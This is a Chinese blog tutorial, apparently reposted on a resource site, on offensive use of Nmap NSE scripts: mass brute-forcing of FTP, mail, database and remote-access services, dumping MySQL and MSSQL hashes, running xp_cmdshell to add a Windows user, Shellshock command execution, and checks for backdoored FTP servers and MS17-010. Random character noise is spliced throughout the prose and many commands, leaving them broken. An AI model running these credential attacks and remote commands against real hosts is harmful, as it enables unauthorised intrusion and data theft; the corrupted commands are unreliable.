古风

Nmap 进阶使用 [ 脚本篇 ]

作者:古风 本文共1张图片 9502个字,阅读需要24分钟 百度已收录

因为今天的重点并非nmap本身的使用,主要还是想借这次机会给大家介绍一些在实战中相对比较实用的nma; B s & 6 _ ap脚本,所以5 U n | 0关于nmap自身的一些基础选项就不多说了,详情可参考教程区端口渗透相关文章,废话少说~ s 8 W X },咱们直接开始,实际中我@ ~ L N !们可以先用下面的语句,大概扫一j k a | (眼目标机器O } o & | l或目标C段都跑了什么服务,心里总要先有个谱,之后才好针对性出牌嘛

 

# nmap -sV -sT -Pn --op] J 5 J a T ~ 0 Jen -v 192.168.3.23

当然,你也可以用U g V w下面的脚本先尝试获取下目标机器更详细的服务banner信息[不过这个并不详细,有时候简单telnet下就直接能看到详细的bann6 P S q [er了,用不着nmap],看具体版本的原因是因为有些服务工具漏洞只能利用在特定的版本上,所以,提{ x Y a E前知道大概一 A T Z k { 6 j下还是非常有必要的,废话到此为止,咱们开始真正的内容

 

# nmap -sT -Pn --open -v banner.nse 192.168.3.23

002 和ftp相关的一些漏洞检测脚本

ftp-anon.nse 检查目标ftp是否允许匿名登录,光能登陆还不够,它还会自动检测目录是否可读写,比如你想快速批量抓一些ftp

 

# nmap -p 21 --script ftp-anon.nse -v 192.168.3.23

ftp-brute.nse ftp爆破脚本[P ) I c ? c A默认只会尝试一些比较简单的弱口令,时间可能要稍微长一些(挂vpn以后这个速度可能还会更慢),毕竟,是直接在公网爆破]

 

# nmap -p 21 --script ftp-K  J k ! 7 J Xbrute.nse -v 192.168.3.23

ftp-vuln-cve2010-4221.nse ProFTPD 1.3.3c之前的netio.c文件中的pr_netio_telnet_gets函数中存在多个栈溢出

 

# nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23

ftp-proftpd-backdoor.nse ProFTPD 1.3/ Z Y ( &.3c 被人插Q V Z A g z [ b后门[proftpd-1.3.3c.tar.bz2],缺省只执行id命令,可自行到脚本中它换成能直接弹shell的命令

 

# nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23

ftp-vsftpdj 8 Y e n s R-backdoor.nse VSFTPD v2.3.4 跟Proftp同样的问题,] w |被人捅进去以后在代码里面插了后门

 

# nmap -p 21 --script ftp-vsftpd-backdoor.nse -v 192.168.3.23

003 和ssh 相关的一些扫描脚本

sshv1.nse 大家都知道的,sshv1^ T d V 5 ~ F [ K是可以被中间人的

 

# nmap -p 220 G i 4 --script sshv1.nse -v 192.168.3.23

004 和smtp,pop3,imap相关的一些扫描脚本

smtp-` V 9brute.nse 简单爆破smtp弱口令,拿这个爆进去的邮箱给人发信也许成功率会稍微高一点

 

# nmap -p 25 --script smtp-brute.nse -v 192.168.3.23

smtp-enum-users.nse 枚{ l Q q o举目标smtp服务器的邮件用户名,前提是目标要存在此错误配置才行,搜集一些必要的信息还是蛮好的

 

# nmap -p 25 --script smtp-enum-users.nse -v 192.168.3.23

smtp-vuln-cve2010-4344.nse Eximq y q 4.70之前版本中的string.c文件中的string_vformat函数中存在堆溢出

 

# nmap -p 25 --scd / E o , 0 [ 8 {ript smtp-vuln-cve2i ! F E01% + T z0-4344.nse -v 192.168.3.23

smtp-m $ Avuln-cve2011-1720.nse Postfix 2.5.13之1 t ~ g V v前版本,2.6.10之前的2.6.x版本,2.7.4 S K g 8 q | C4之前的2.7.x版本和2.8.3之前的2.8.x版本,存在溢出

 

# nmap -p 25 --script smtp-vuln-cve2011-1720.nl D B S D | @se -v 192.168.3.23

smtp-vuln-cve2011-1764.nse Exim dkim_exim_verift G ~ 1 T ) ~ = ^y_finish() 存在格式字符串漏洞,太老现在基本很难遇到了

 

# nmap -p 25 --script smtp-vuln-cve2011-1764.nse -v 192.168.3.23

pop3-brute.nse pop简单弱口令爆破

 

# nmap -p 110 --script pop3-brute.nse -v 192.168.3.23

imap-brute.nse imap简单弱口令爆破

 

# nmap -p 143,993 --script imap-brute.nse -v 192.168.3.23

005 和dns 相关的一些漏洞扫描脚本

dns-zone-tran} s $ j = dsfer.nse 检查目标ns服务器是否允许传送,如果能,直接把子域拖出来就好了

 

# nmap -p 53 --script dns-zone-transfer.nse -v 192.168.3.23
# nmap -p 53 --script dns-zone-transfer.nse --script-args dns-zone-transfer.dt X L 0 k P $ lomain=target.org -v 192.168.3.23

hostmap-ip2hosts.nse 旁站查询,目测了一下脚本,用的ip2hosts的接口,不过该接口似乎早已停用,如果想继续用,可自行到脚本里把接口部分的代码改掉

 

# nmap -p80 --script hostmap-iK G 5 3 Hp2hosts.nse 192.168.3.X + ( n23

006 和各种数据库相关的一些扫描脚本

informix-brute.nse informix爆破脚本

&n# b V w P q r E 5bsp;

# nmap -p 9088 --script informix-brute.nse 192.168.3.23

mysql-emX F ; { [ 0 & F &pty-password.nse mysql 扫描root空密码,比如你想批量抓mysql

 

# ny ~ Kmap -p 3306 --script mysql-empty-password.nse -v 192.168.3.23

mysql-brute.nse mysql root弱口令简单R P &爆破

&nbsV : ) 4 ` Zp;

# nmap -p 3306 --script mysql-brute.nse -v 192.168.3.23

mysql# , * 8 I U 9 n :-dump-hashes.nse 导出mysql中所有用户的hash

 

# nmap -p 3306 --script mysql-du. p J p & F Imp-hashes --script-args='usd A J J 4 % Z g 5ername=root,paE g ^ 7 v L vssword=root' 192.168.3.23

mysql-vuln-cve2012-2122.nse Mysql身份认证漏洞[MariaDB and MySQL 5.1.61,5.2.11, 5.3.5, 5.5.22],利用条件O g / H Y , E } 0有些苛刻 [需要目标的mysql是自己源, , ? u码编译安装的,这样的成功率相对较高]

 

# nmap -p 3306 --script mysql-vuln-cv4 - y Se2012-212+ x G w B2.nse  -v 192.168.3.23
# nmap -p 445 -G n H Q z-script mN j i 0 M Gs-sql-info.nse -v 203.124.11.0/24      ms-sql-info.nse 扫描C段mssql
# nmap -p 1433 --script ms-sql-info.nse --script-args mssql.instanceI Q ! I : k-port=1433 -v 192.168.3.0/24

ms-sql-empty-password.nse 扫描mssql sa空密码,比如你想批量抓mssC b / 2 9 Wql

&n? ` G i d =bsp;

# nmap -p 1433 --script ms-sql-empty-password.nse -v 192.168.3.0/24

ms-sql-brute.nse sa弱口令爆破

 

# nmap -p 1433 --script mP i d J h f 0 3 =s-sql-brute.nse -v 192.168.3.0/24

ms-sql-xp-cmdshell.nse 利用xp_cmdshell,远r z C i { x程执行系统命0 Y J ` i E

 

# nmap -p 1433 --script ms-sql-xp-cmdsh! 8 xell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xG p -p-cmdshell.cmd=net user test test add 192.168.3.0/24

ms-sql-dump-hash} 5 ] @es.nse 导出mssql中0 v 6 = ( D U %所有的数据库用户及密码hash

 

# nmap -p 1433e v M T ] x m --script ms-sql-dump-hashes -v 192.s D f168.3.0/24

pgsql-brute.nse 尝试爆破postgresql

 

# nmap -p 5432 --script pn S o & hgsql-brute -! + , mv 192.168.3.0/24

oracle-brute-stealth.nse 尝J h F试爆破oracle

 

# nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=| 5 * u ZORCL -v . & [ % b S w h 1924 E K H `.168.3.0/24

oracle-brute.nse

 

# nmap --script oracle-brute -p 1521 --script-args oracle-brul P ] X q $ ate.sid5 B E C ! 5 p t O=ORCL -v 192.168.3.0/24

mongodb-brute.nse 尝试爆破mongdb

 

# nmap -p 27017 --script mongodb-bru) [ - A 8 c T Dte 192.168.3.0/24

redis-brute.nse redis爆破

 

# nmap -p 6379 --script redis-brute.nse 192.168.3.0/24

007 和Z # 6 7 $ @snmp相关的一些扫描脚本,用来搜集些内网信息还行,运气好也许还能查到账号密码什么的

snmp-brute.nseG 0 ! ] w s 爆破C段的snmp

 

# nmap -sU --scriptO b P Y  C Q j { snmp-brute --script-args snmp-brute0 M H Q b h.communitiesdb=user.txt 192.168.3.0/24

008 和telnet相关的一些扫描脚本R _ A _ & W

telnet-brut3 6 0 S we.nse 简单爆破telnet

 

# nmap -p 23 --E @ l Oscript telnet-b* ( N E A B ] D ]rute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s -vG r 0 t R Z 192.168.3.0/24

009 和ldap服务相关的一些利用脚本

ldap-brute.nse 简单爆破ldap

 

# nmap -p 389 --scrip| C ~t ldap-brute --script-args ldap.base='cn=users,dc=cqure,dc=net' 192.168.3.0/24

010 和各类web中间件,web集成` ~ R # D环境相关的一R y 6 w e )些利用脚本

xmpp-brute.nse xmpp爆破

 

# nmap -p 522Q _ Q k Z _ 62 --script xmpp-brutX l J 2 W = [ v ge.nse 192.168.3.0/24

http-iis-short-name-brute.nse 短文件扫描

 

# nmapE F N e W C A b -p80 --script httf $ y ?  R a _p-iis-short-name-brute.nse 192.168i [ 9 t J ^.3.0/24

http-iis-webdav-vul% z mn.nse iis 5.0 6.0 webadv写

 

# nr | Gmap --script http-iis-webdav-vuln.nse -p80,8080 192.168.3.0/24

http-shellshock.nse bash远程执行

k v y ] f } C O %

# nmap -sV -p- --script http-shellshock --script-args uri=cgi-binbing b h h,cmd=ls 192.168.3.0/24

http-svn-info.nse 探测目标svn

 

# nmap --script http-svn-6 U 2info 192.168.3.0/24

http-drupal-enum.nse 其实对于这类的开源程序,我们e 5 ~ u n q - x根本没必要用nmap,V 5 1 K + s因为搞多了,差不多; k , q ] ^ , 0 2一眼就能看出来

http-word) - } cpress-brute.nse

 

# nmap -p80 -sV --script http-wordpress-brute --script-args 'uY / 6 @ 9 ]serdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,http-wordpress-brute.threads=3,brute.firstonly=true5 q U Z = j ! ,' 19U $ i U 9 J2.168.3.0/24

http-backup-finder.nse 扫描目标网站备份

&nb4 C 2 l # Ssp;

# nmap -p80 --script=http-backup-finder 192.168.3.0/24

http-vuln-cve2015-1635.nse iis6.| u 0 . + n /0远程代码执行

 

# nmap -sV --script http-vuln-cve --scU v 0 t k @ g E vript-args uri='anothd $ q _ 3 ) Meruri' 192.168W V X E ` ).3.0/24

011 跟vp8 T s Q z a b Mn相关的7 8 $ 2 6 5 v _ 3一些利用脚本

pptp-version.nsw x B u we 识别目标pptp版本,暂时只看到一个pptp} % a + k _暂时还好J i z ) % 3 @ *使,其实pptp也是可以爆破的,o 7 ] [ ) v嘿嘿……不过,实际目标中,pptp几乎没有,openvpn偏多,想直接捅目标内网,这无疑是很不错的入口

&= q ` lnbsp;

# nmap -p 1723 --script p- + 7 t ; ` M e *ptp-vo H n q K  eersio* r 2 a o / $n.nse 192.168.3.0/24

012 smb漏洞检测脚本集

 

smb-vuln-ms08-067.nse
smb-i K ^vuln-ms10-054.nse
sz 2 ? q c 0mb-vuln-ms10-061.nse
smb-vuln-ms17-010.nse  smb远程执行
# nmap -p445 --script smb-vuln-ms17-010.nse 192.168.3.0/24

013 检测内网嗅探,实际测试中,貌似并没什么卵用,难: Y R s ` % _ v `道是我实验有误Nmap 进阶使用 [ 脚本篇 ]-古风游戏资源网

 

sniffer-detect.! P _ ] _ Y Bnse
#Y U v  P nmap -sn -Pn --script sniffer-de= o ) ( 1 u : tect.nse 192.168.3.0/24

014 其它的一些辅助性脚本- V T,其实有些实际用途可能并不大,大家选择性的用极好了

 

rsync-brute.nse 爆破目标的rC T # i ~ 1 ? $sync
# u ) 1 Q [ n , Q nmap -p 873 --scriptE | X , v d # e rsync-brm ) ` m Yute --script-args 'rsync-brute.module=www' 192.168.3.0/24
rlogin-brute.nse 爆破目标的rlogin
# nmap -p 513 --script rlogin-brute 192.168.3.0/24
vnc-brute.nse  爆破目标的vnc
# nmap --script vnc-brute -p 5900 192.168.n h f o  X ` X Z3.0/24
pcanywhere-brute.nse 爆破pcanywh7 j `ere
# nmap -p 5631 --script=pcanywhere-I .  Z %brute 192.168.3.0/24
nessus-brute.nse 爆破nessus,貌似现在已经不是1241端口了,实在是太老了,直接忽略吧
# nmap --script nessus-( 8 ( #brute -Y [ Y A % ` q 6p 1241 192.168.3.0/24
nexpose-brute.nse	爆破nexpose
# nmap --script nexpose-brute -p 3780 192.168.3.0/24
shodan-api.nse  配合shodan接口进行扫描,如果自己手里有0day,配合着一起用,这个威力还是不可小觑的,不过在即实际测的时候貌似还有p G X 0 q @ 4些问题
# nmap --scrip= E k Z y y } It shodan-api --script-args 'shodan-api.target=192.168.3.0/24,shodan-apis ~ } J :.apikey=SHODANAPIKEY'

015 尝试利用nmap一句话对4 ~ ? G N ~ 2 U目标C段进行常U Y v规漏洞扫描

实际测试中,会非g ? j ] 6 # B常的慢,可能跑一个脚本验证时间都要很长,尤其在你的vps带宽不是很足,网络又不怎么好的时候,速度就更慢了,所以还是建议先大致扫一眼目标服{ V 1 % 4 F务,然后再单独针对性的扫,这样实际的成m N T $ ~ L功率可能会高很多,毕竟,不是像masscan或者zamp这种基于无状态的扫描

 

# nmapP j ) [ - F Y e -sT -Pnk Z I . } 3 1 D -v --script dns-zone-F ( J a 7 i K ;transfer.nse,ftp-anon.nse,ftp-proftpd-backdoor.nse,ftp-vsftpd-backdoor.nse,ftp-vuln-cve2010-g ) k4221.nse,http-bah Z # w s Xckup-finder.nse,http-cisco-anyconnect.nse] & - w M,http-iis-short-name-brute.nsA A ` ( Ae,http-put.nsE = R ( Z 7 = qe,http-php-versionv Q v 1 V F S U [.nse,http-shellsho= G t T &cD 9 ) d k.nse,http-robots.txt.nse,http-svn-enum.nse,http-webdav-scan.nse,iis-buffer-overf/ D 7 n Slow.nse,iax2-veN ] [ 8 crsion.nse,memc- A 2 v q ] ] (ached-info.nse,n V 4 B Wmongodb-info.nse,m5 # : _ F _ 6 v ksrpc-enum.nse,ms-sql-info.n~ p ( F p ^ p gse,mysql-info.nse,nrpe-enum.nse,pptp-version.nse,redis-info.nse,rpcinfo.nse,samba-vuln-cve-2012-1182.nse,smb-vuln-ms08-067.nse,smb-vuln-ms17-010.nse,snmp-info.nse,sshv1.nse,xmpp-info.nse,tftp-enum.nse,teamspeak2-version.nse 192.168.3.0/24

尝试利用nmap一句话对目标进行C段弱口令爆破,还是上面的问题,验证一个漏洞都要那么久,更不要说跑完一个弱口令字典,nmap默认的弱口令字典大概是5000左右,也就是说一个用户名就要跑: P c大概5000次,估计你vps带宽再小点儿的话,这个就没什么谱了,毕竟我们是在公网,不是在内网,所以,还是建议最好不要同a # J i时加载很多个弱口令爆破脚本,如果实在没办法必须爆破,可以多2 1 . b花点儿时间,去 E V b M Z / 5 B搜集目标有价值的用户名,以此尽可能提高自己的命中率

 

# nmap -sT -v -Pn --script ftp-brute.nse,imap-brute.nse,smtp-brute.nse,pop3-brute.nse,mongodb-brute.nse,redis-brute.nse,ms-sqlO h ]-brute.nse,rlogin-brute.nse* D } O,rsync-) S v DbrutR Y oe.nse,mysql-brute.nse,pgsql-brute.nse,oracle-sid-bru$ H z B | : Nte.nse,oracle-brute.nse,E g n O 6 i O ~ Wrtsp-url-bru0 M n - 0 Nte.nse,snmp-brute.nse,svn-brute.nse,telnet-brute.nse,vnc-brute.nseT l ] J L E y,xmpp-brute.nse 192.168.3.0/24

 

&A V { | 2 .nbsp;

后话:

由于nmap内置丰富的漏洞扫描脚本,也使得nmap的能力在一定程度得到了极大的扩$ { R展,意味者我P J C x } P }们完全可以自己按照nmap事先规定好的语法来模仿实现一些简单的定制扫描,这也是让我感觉nmap做的非常好的一点,极大的可扩展2 K T D X z V w ^性,比如,你自己握有0day的时候,想自动化干点儿什么事儿,嘿嘿……具体就不多说了,相信大家都懂,^_^,没错,masscan,zmap这种基于无状态的扫描确实快的吓人,而且shodan api也是个很不错的选择,但对定制脚本支持始终还L % M是差了点,时间关系只挑了一些可能用到的脚本,今天就简单聊到这儿吧~ W V v,工具没有没| h _ X D U [ -有好坏,虽然实战中不一定都能用上,关键还是大家在实际渗透过程中能灵活变通就好,话说回来,这一切的前提都是建立在别人让你扫的基础之上的,nmap的标志实在是太招摇过市了,nmap所支持的那几种扫描类型,估计早已被各种ids所免疫,说实话,有些目标可R D 0 B能都没什么机会让你扫,关于nmap其它的一9 z d a r 3些用法,后期遇到相对比较实用的会不定期再更新上来,大家如果V 6 s 9 ] ; C E有兴趣,也可以直接去参考官方,那里说的还是非常详细的,起码比我这个要详细很多,有任何问5 F q题请直接私信我

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到审核区发布,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
7. 如遇到加密压缩包,默认解压密码为"www.qwznb.com",如遇到无法解压的请联系管理员!
古风游戏资源网 » Nmap 进阶使用 [ 脚本篇 ]

Leave a Reply


赞助 VIP 海量资源随便下
仅开放社交账号登录